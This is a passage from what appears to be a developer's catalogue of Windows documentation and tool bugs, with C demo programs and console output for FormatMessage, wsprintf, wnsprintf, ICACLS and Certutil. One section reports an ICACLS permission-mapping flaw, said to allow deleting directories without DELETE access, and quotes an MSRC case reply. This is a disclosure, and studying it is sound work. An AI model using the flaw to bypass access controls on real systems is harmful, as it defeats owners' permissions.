    					Reserved  = 0x00000000
    0
    OUCH¹: although application manifests must be encoded in UTF-8, the Manifest Tool MT.exe emits code page identifier 1252 alias Windows-1252 instead of 65001 alias CP_UTF8 in the MANIFEST resource metadata!

    OUCH²: additionally it emits language identifier 1033 alias MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH) instead of the proper language identifier 0 alias MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) and the time stamp 0x0 instead of the current date and time in the resource directory metadata!

    Note: contrary to other resource types, especially dialogues, menues, messages and strings, which are selected at runtime to match the users’ preferred language, Windows’ module loader always uses the first MANIFEST resource present in the .rsrc section!

  6. Link the console application blunder.exe a second time, now with the resource file blunder.res created in Blunder № 76:

    LINK.EXE /LINK blunder.obj blunder.res kernel32.lib user32.lib
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
  7. Execute the console application blunder.exe built in step 6. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    Resource Directory:
    	Characteristics = 0x00000000
    	Time/Date Stamp = 0x00000000
    	Version         = 4.0
    	Named Entries   = 0
    	Unnamed Entries = 1
    	Entries:
    		Type   = 6 (STRINGTABLE)
    		Offset = 0x80000018
    			Id     = 1
    			Offset = 0x80000038
    				Language = 1033
    				Offset = 0x00000068
    					Address   = 0x00003090
    					Size      = 520
    					Code Page = 0
    					Reserved  = 0x00000000
    			Id     = 2
    			Offset = 0x80000050
    				Language = 1033
    				Offset = 0x00000078
    					Address   = 0x00003298
    					Size      = 492
    					Code Page = 0
    					Reserved  = 0x00000000
    0
    OUCH³: the Resource Compiler RC.exe also fails to set the proper code page identifier 1200 alias UTF-16LE as well as the time stamp and sets the language identifier 1033 alias MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH)!
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 78

The MSDN article Message Text Files specifies:
Messages are defined in a message text file. The message compiler assigns numbers to each message, and generates a C/C++ include file which the application can use to access a message using a symbolic constant.

[…]

You can specify the following escape sequences for formatting message text for use by the event viewer or your application. The percent sign character (%) begins all escape sequences. Any other character following a percent sign is displayed without the percent sign.

%n[!format_specifier!]

Describes an insert. Each insert is an entry in the Arguments array in the FormatMessage function. The value of n can be a number between 1 and 99. The format specifier is optional. If no value is specified, the default is !s!. For information about the format specifier, see wsprintf.

The format specifier can use * for either the precision or the width. When specified, they consume inserts numbered n+1 and n+2.

%0

Terminates a message text line without a trailing newline character. This can be used to build a long line or terminate a prompt message without a trailing newline character.

The documentation for the Win32 function FormatMessage() specifies likewise in its Remarks section:
Formats a message string. The function requires a message definition as input. The message definition can come from a buffer passed into the function. It can come from a message table resource in an already-loaded module. Or the caller can ask the function to search the system's message table resource(s) for the message definition. The function finds the message definition in a message table resource based on a message identifier and a language identifier. The function copies the formatted message text to an output buffer, processing any embedded insert sequences if requested.

[…]

Escape sequence Meaning
%0 Terminates a message text line without a trailing new line character. This escape sequence can be used to build up long lines or to terminate the message itself without a trailing new line character. It is useful for prompt messages.
%n!format string! Identifies an insert. The value of n can be in the range from 1 through 99. The format string (which must be surrounded by exclamation marks) is optional and defaults to !s! if not specified. […]
The MSDN article System Error Codes (500-999) documents but message texts with %0 escape sequences:
ERROR_UNHANDLED_EXCEPTION

574 (0x23E)

{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx.

[…]

ERROR_SYSTEM_PROCESS_TERMINATED

591 (0x24F)

{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down.

The MSDN article NTSTATUS Values documents such malformed message texts too:

Return value/code Description
0xC0000005
STATUS_ACCESS_VIOLATION
The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
0xC0000006
STATUS_IN_PAGE_ERROR
The instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx.
0xC0000144
STATUS_UNHANDLED_EXCEPTION
{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx.
0xC000021A
STATUS_SYSTEM_PROCESS_TERMINATED
{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down.
0xC000070A
STATUS_THREADPOOL_HANDLE_EXCEPTION
Status 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p.
0xC000070B
STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED
After a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x.
0xC000070C
STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED
After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x.
0xC000070D
STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED
After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x.
0xC000070E
STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED
After a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x.

Demonstration

Perform the following 5 simple steps to show misbehaviour first, then proper behaviour, and again misbehaviour.
  1. Start the Command Processor Cmd.exe, then execute the following four command lines to show the blunder:

    NET.EXE HELPMSG 574
    CERTUTIL.EXE /ERROR 574
    NET.EXE HELPMSG 591
    CERTUTIL.EXE /ERROR 591
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    {Application Error}
    The exception s (0x
    
    0x23e (WIN32: 574 ERROR_UNHANDLED_EXCEPTION) -- 574 (574)
    Error message text: {Application Error}
    The exception %s (0x
    CertUtil: -error command completed successfully.
    
    {Fatal System Error}
    The hs system process terminated unexpectedly with a status of 0x
    
    0x24f (WIN32: 591 ERROR_SYSTEM_PROCESS_TERMINATED) -- 591 (591)
    Error message text: {Fatal System Error}
    The %hs system process terminated unexpectedly with a status of 0x
    CertUtil: -error command completed successfully.
    OUCH¹: message texts defined with a stray %0, for example in 0x%08lX, are truncated when retrieved with the FormatMessage() function!
  2. Execute the following two command lines to show proper behaviour:

    CERTUTIL.EXE /ERROR 0xC0000144
    CERTUTIL.EXE /ERROR 0xC000021A
    0xc0000144 (NT: 0xc0000144 STATUS_UNHANDLED_EXCEPTION) -- 3221225796 (-1073741500)
    Error message text: {Application Error}
    The exception %s (0x%08lx) occurred in the application at location 0x%08lx.
    CertUtil: -error command completed successfully.
    
    0xc000021a (NT: 0xc000021a STATUS_SYSTEM_PROCESS_TERMINATED) -- 3221226010 (-1073741286)
    Error message text: {Fatal System Error}
    The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x).
    The system has been shut down.
    CertUtil: -error command completed successfully.
    Note: most obviously CertUtil.exe doesn’t use the FormatMessage() function for NTSTATUS values – the message texts for the 0xC0000144 alias STATUS_UNHANDLED_EXCEPTION and 0xC000021A alias STATUS_SYSTEM_PROCESS_TERMINATED, from which both Win32 error codes were derived and their message texts copied, display properly.
  3. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define STATUS_UNHANDLED_EXCEPTION		0xC0000144L
    #define STATUS_SYSTEM_PROCESS_TERMINATED	0xC000021AL
    
    const	DWORD	dwArray[] = {ERROR_SYSTEM_PROCESS_TERMINATED, ERROR_UNHANDLED_EXCEPTION,
    		             STATUS_SYSTEM_PROCESS_TERMINATED, STATUS_UNHANDLED_EXCEPTION};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[1234];
    	DWORD	dwBlunder;
    	DWORD	dwIndex = 0UL;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	HMODULE	hModule = GetModuleHandle(L"NTDLL");
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		do
    		{
    			dwBlunder = FormatMessage(FORMAT_MESSAGE_FROM_HMODULE | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
    			                          hModule,
    			                          dwArray[dwIndex],
    			                          MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
    			                          szBlunder,
    			                          sizeof(szBlunder) / sizeof(*szBlunder),
    			                          (va_list *) NULL);
    			if (dwBlunder == 0UL)
    				dwError = GetLastError();
    			else
    			{
    				szBlunder[dwBlunder++] = L'\n';
    
    				if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    					dwError = GetLastError();
    				else
    					if (dwError ^= dwBlunder)
    						dwError = ERROR_WRITE_FAULT;
    				//	else
    				//		dwError = ERROR_SUCCESS;
    			}
    		}
    		while (++dwIndex < sizeof(dwArray) / sizeof(*dwArray));
    
    	ExitProcess(dwError);
    }
  4. Compile and link the source file blunder.c created in step 3.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    {Fatal System Error}
    The hs system process terminated unexpectedly with a status of 0x
    {Application Error}
    The exception s (0x
    {Fatal System Error}
    The hs system process terminated unexpectedly with a status of 0x
    {Application Error}
    The exception s (0x
    
    0
    OUCH:
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 79

The documentation for the Win32 function wsprintf() specifies in its Remarks section:
A format specification has the following form:

%[-][#][0][width][.precision]type

Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.

Field Meaning
type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values.

[…]

d
Signed decimal integer. This value is equivalent to i.
i
Signed decimal integer. This value is equivalent to d.
Ix, IX
64-bit unsigned hexadecimal integer in lowercase or uppercase on 64-bit platforms, 32-bit unsigned hexadecimal integer in lowercase or uppercase on 32-bit platforms.
lc, lC
Single character. If the character has a numeric value of zero it is ignored. This value is always interpreted as type WCHAR, even when the calling application defines Unicode.
ld
Long signed integer. This value is equivalent to li.
li
Long signed integer. This value is equivalent to ld.
ls, lS
String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to ws.
lu
Long unsigned integer.
lx, lX
Long unsigned hexadecimal integer in lowercase or uppercase.
p
Pointer. The address is printed using hexadecimal.
u
Unsigned integer argument.
x, X
Unsigned hexadecimal integer in lowercase or uppercase.

[…]

Note

The winuser.h header defines wsprintf as an alias that automatically selects the ANSI or Unicode version of this function based on the definition of the UNICODE preprocessor constant. Mixing usage of the encoding-neutral alias with code that is not encoding-neutral can lead to mismatches that result in compilation or runtime errors. For more information, see Conventions for Function Prototypes.

OUCH⁰: the preprocessor macro is UNICODE, not Unicode!

OUCH¹: the specification of the type field but misses Ip alias hp alias lp alias tp alias wp as equivalent to p for pointer arguments!

OUCH²: it also misses wd as equivalent to ld and d, wi as equivalent to li and i, wu as equivalent to lu and u, wx as equivalent to lx and x plus wX as equivalent to lX and X for 32-bit integer arguments!

OUCH³: it misses wc as equivalent to lc, wC as equivalent to lC and wS as equivalent to lS for Unicode character and string arguments!

OUCH⁴: it misses Id alias Ii alias td alias ti plus Iu alias tu for 32-bit integer arguments on 32-bit platforms respectively 64-bit integer arguments on 64-bit platforms!

OUCH⁵: last it misses I32d alias I32i, I32u, I32x and I32X for 32-bit integer arguments plus I64d alias I64i, I64u, I64x and I64X for 64-bit integer arguments!

Demonstration

Perform the following 5 simple steps to show the undocumented behaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[1024];
    	DWORD	dwBlunder;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBlunder = wsprintf(szBlunder,
    		                     L"%%I…\t%Id\n\t%Ii\n\t%Iu\n",
    #ifndef _WIN64
    		                     ~0x01234567, 0x01234567, ~0x01234567);
    #else
    		                     ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
    #endif
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    		else
    			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    		dwBlunder = wsprintf(szBlunder,
    		                     L"%%I32…\t%I32d\n\t%I32i\n\t%I32u\n\t%#I32x\n\t%#I32X\n",
    		                     ~0x01234567, 0x01234567, ~0x01234567, 0x01234567, ~0x01234567);
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    		else
    			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    		dwBlunder = wsprintf(szBlunder,
    		                     L"%%I64…\t%I64d\n\t%I64i\n\t%I64u\n\t%#I64x\n\t%#I64X\n",
    		                     ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    		else
    			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    		dwBlunder = wsprintf(szBlunder,
    		                     L"%%w…\t%wc\n\t%ws\n\t%wC\n\t%wS\n",
    		                     L'€', L"€ sign", L'€', L"€ sign");
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    		else
    			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    		dwBlunder = wsprintf(szBlunder,
    		                     L"%%Ip\t%Ip\n%%hp\t%hp\n%%lp\t%lp\n%%tp\t%tp\n%%wp\t%wp\n",
    		                     wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup);
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    		else
    			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. for the 32-bit execution environment:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code

    .\blunder.exe
    ECHO %ERRORLEVEL%
    %I…	-19088744
    	19088743
    	4275878552
    %I32…	-19088744
    	19088743
    	4275878552
    	0x1234567
    	0XFEDCBA98
    %I64…	-81985529216486896
    	81985529216486895
    	18364758544493064720
    	0x123456789abcdef
    	0XFEDCBA9876543210
    %w…	€
    	€ sign
    	€
    	€ sign
    %Ip	00321000
    %hp	00321000
    %lp	00321000
    %tp	00321000
    %wp	00321000
    0
  4. Compile and link the source file blunder.c created in step 1. for the 64-bit execution environment:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code

    .\blunder.exe
    ECHO %ERRORLEVEL%
    %I…	-81985529216486896
    	81985529216486895
    	18364758544493064720
    %I32…	-19088744
    	19088743
    	4275878552
    	0x1234567
    	0XFEDCBA98
    %I64…	-81985529216486896
    	81985529216486895
    	18364758544493064720
    	0x123456789abcdef
    	0XFEDCBA9876543210
    %w…	€
    	€ sign
    	€
    	€ sign
    %Ip	0000007654321000
    %hp	0000007654321000
    %lp	0000007654321000
    %tp	0000007654321000
    %wp	0000007654321000
    0

Blunder № 80

The documentation for the Win32 function wnsprintf() states:
Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.

[…]

int wnsprintf(
  [out] LPTSTR  pszDest,
  [in]  int     cchDest,
  [in]  LPCTSTR pszFmt,
        ...
);
[…]

Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.

[…]

This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.

OUCH: there is no NULL characterNULL is a preprocessor macro defined as ((void *) 0)!

Falsification

Perform the following 3 simple steps to show the true behaviour and prove the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shlwapi.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ~0UL;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	WCHAR	szBlunder[57];
    	INT	niBlunder = wnsprintf(szBlunder, sizeof(szBlunder),
    		                      L"%+09d|% i|%#p|%+*.*ws|%#x",
    		                      42, 0x815, wmainCRTStartup, 7, 5, L"Blunder", 0xDEADBEEF);
    	if (niBlunder > 0)
    		if (!WriteConsole(hError, szBlunder, niBlunder, &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= niBlunder)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib shlwapi.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shlwapi.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    +00000042| 2069|0X00321000|  Blund|0xdeadbeef
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OOPS: contrary to the highlighted statement of its documentation cited above, the Win32 function wnsprintf() supports the right alignment flag and pointer types!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 81

The MSDN article SACL Access Right states:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.
The MSDN article Requesting Access Rights to an Object states:

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

Contrary to the highlighted statements cited above, the documentation as well as the synopsis of Windows’ console application ICACLs.exe but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

[…]

icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
[…]
OUCH⁰: this documentation but fails to enumerate the simple right D alias (DE,S), the specific right DE and the parameter /INHERITANCE:{E|D|R}!

Demonstration

Perform the following 3 simple steps to show the blunder and prove the highlighted parts of the documentation cited above wrong.
  1. Start the Command Processor Cmd.exe in an arbitrary, preferable empty directory, then display the help text of the ICACLs.exe console application:

    ICACLs.exe /?
    […]
        /inheritance:e|d|r
            e - enables inheritance
            d - disables inheritance and copy the ACEs
            r - remove all inherited ACEs
    […]
        perm is a permission mask and can be specified in one of two forms:
            a sequence of simple rights:
                    N - no access
    […]
                    D - delete access
            a comma-separated list in parentheses of specific rights:
                    DE - delete
    […]
  2. Create an (empty) file blunder.tmp in the current directory, remove all (inherited) access permissions from it, add explicit access permissions except (DE) alias DELETE for the well-known universal SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER plus S-1-3-3 alias CREATOR GROUP SERVER to it, display the resulting DACL and delete the file:

    COPY NUL: blunder.tmp
    ICACLS.EXE blunder.tmp /DENY *S-1-1-0:D /GRANT *S-1-3-3:(AS) *S-1-3-2:(DE) *S-1-3-1:(MA) *S-1-3-0:(S) /INHERITANCE:R /Q
    CACLS.EXE blunder.tmp /S
    ICACLS.EXE blunder.tmp /Q
    ERASE blunder.tmp
    Note: the command lines can be copied and pasted as block into a Command Processor window.
            1 file(s) copied.
    Successfully processed 1 files; Failed processing 0 files
    
    C:\Users\Stefan\Desktop\blunder.tmp "D:PAI(D;;0x110000;;;WD)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;SD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)"
    
    blunder.tmp Everyone:(DENY)(D)
                AMNESIAC\Stefan:(S)
                AMNESIAC\None:
                AMNESIAC\Stefan:(DE)
                AMNESIAC\None:
    OUCH¹: ICACLs.exe maps its simple right D to the specific rights list (DE,S) alias DELETE plus SYNCHRONIZE!

    OUCH²: ICACLs.exe maps its specific rights (AS) alias ACCESS_SYSTEM_SECURITY and (MA) alias MAXIMUM_ALLOWED to the simple right N alias NO_ACCESS!

    Note: ICACLs.exe converts the well-known universal SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER and S-1-3-3 alias CREATOR GROUP SERVER to the effective user respectively (primary) group SID AMNESIAC\Stefan and AMNESIAC\None of the file system object creator.

  3. Create the subdirectory Blunder in the current directory, remove all (inherited) access permissions from it, add inheritable access permissions except (DE) alias DELETE for the well-known universal SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER and S-1-3-3 alias CREATOR GROUP SERVER to it, display the resulting DACL and remove the subdirectory:

    MKDIR Blunder
    ICACLS.EXE Blunder /DENY *S-1-3-0:(CI)(AS) /GRANT *S-1-3-1:(OI)(MA) *S-1-3-2:(CI)(S) *S-1-3-3:(OI)(X) /INHERITANCE:R /Q
    CACLS.EXE Blunder /S
    ICACLS.EXE Blunder /Q
    RMDIR Blunder
    Successfully processed 1 files; Failed processing 0 files
    
    C:\Users\Stefan\Desktop\Blunder "D:PAI(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;CIIO;0x1000000;;;CO)(A;;WP;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;WP;;;S-1-3-3)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;0x2000000;;;CG)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;CIIO;0x100000;;;S-1-3-2)"
    
    Blunder AMNESIAC\Stefan:(DENY)(S)
            CREATOR OWNER:(CI)(IO)(DENY)(S,AS)
            AMNESIAC\None:(X)
            CREATOR OWNER SERVER:(OI)(IO)(X)
            AMNESIAC\None:
            CREATOR GROUP:(OI)(IO)(MA)
            AMNESIAC\Stefan:(S)
            CREATOR GROUP SERVER:(CI)(IO)(S)
    
    Successfully processed 1 files; Failed processing 0 files
    OUCH³: ICACLs.exe halluzinates SYNCHRONIZE access permission in both Access Denied access control entries – in the first access control entry with NO_ACCESS access permission and in the second (inheritable) access control entry with invalid ACCESS_SYSTEM_SECURITY access permission too!

    OUCH⁴: it also creates an (inheritable) access control entry with invalid MAXIMUM_ALLOWED access permission!

    Note: for each inheritable access permission, ICACLs.exe creates an extraneous non-inheritable access permission with the well-known universal SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER and S-1-3-3 alias CREATOR GROUP SERVER converted to the effective user respectively (primary) group SID AMNESIAC\Stefan and AMNESIAC\None of the file system object creator.

Security Impact

The blunder demonstrated above allows to delete directories without DELETE access permission as well as to deny (un)intentionally any access to file system objects via the ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access permissions!

MSRC Case 65060

Due to their security impact I reported these bugs at the MSRC where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Blunder № 82

The documentation for the Certutil command specifies:

The following table describes the verbs that can be used with the certutil command.

Verbs Description
-dump Dump configuration information or files

Demonstration

Perform the following 9 simple steps to show the blunder as well as undocumented behaviour.
  1. Start the Command Processor Cmd.exe in an arbitrary, preferable empty directory, then execute the following command lines to create the UTF-16LE encoded text file blunder.tmp twice and dump it with the Certutil.exe utility:

    1>blunder.tmp "%COMSPEC%" /U /D /C ECHO PAUSE
    CERTUTIL.EXE /DUMP blunder.tmp
    1>blunder.tmp "%COMSPEC%" /U /D /C ECHO pause
    CERTUTIL.EXE /DUMP blunder.tmp
    DIR blunder.tmp
        3c 05 12 14                                        <...
    CertUtil: -error command completed successfully.
    
        a5 ab ac 7c                                        ...|
    CertUtil: -error command completed successfully.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\Desktop
    
    04/27/2018  08:15 PM                14 blunder.tmp
                   1 File(s)             14 bytes
                   0 Dir(s)    9,876,543,210 bytes free
    OUCH¹: � WTF?
  2. Create the UTF-16LE encoded text file blunder.txt containing the Greek alphabet in capital and small letters in the current directory:

    ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
    Note: the file blunder.txt contains 51 Unicode code points in 102 bytes – a leading Byte Order Mark U+FEFF, one line of 48 letters from U+0391 to U+03C9 (not contiguous), followed by a trailing CR/LF pair.
  3. Display the file blunder.txt created in step 2. with the internal Type command:

    TYPE blunder.txt
    ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
  4. Create the ANSI encoded file blunder.tmp with the internal Type command and display it afterwards:

    1>blunder.tmp TYPE blunder.txt
    TYPE blunder.tmp
    ??G????Ø?????????S??F??Oaß?de??????µ???p?st?f???
  5. Dump the file blunder.txt created in step 2. with the Certutil.exe utility:

    CERTUTIL.EXE /DUMP blunder.txt
      0000  ...
      0032
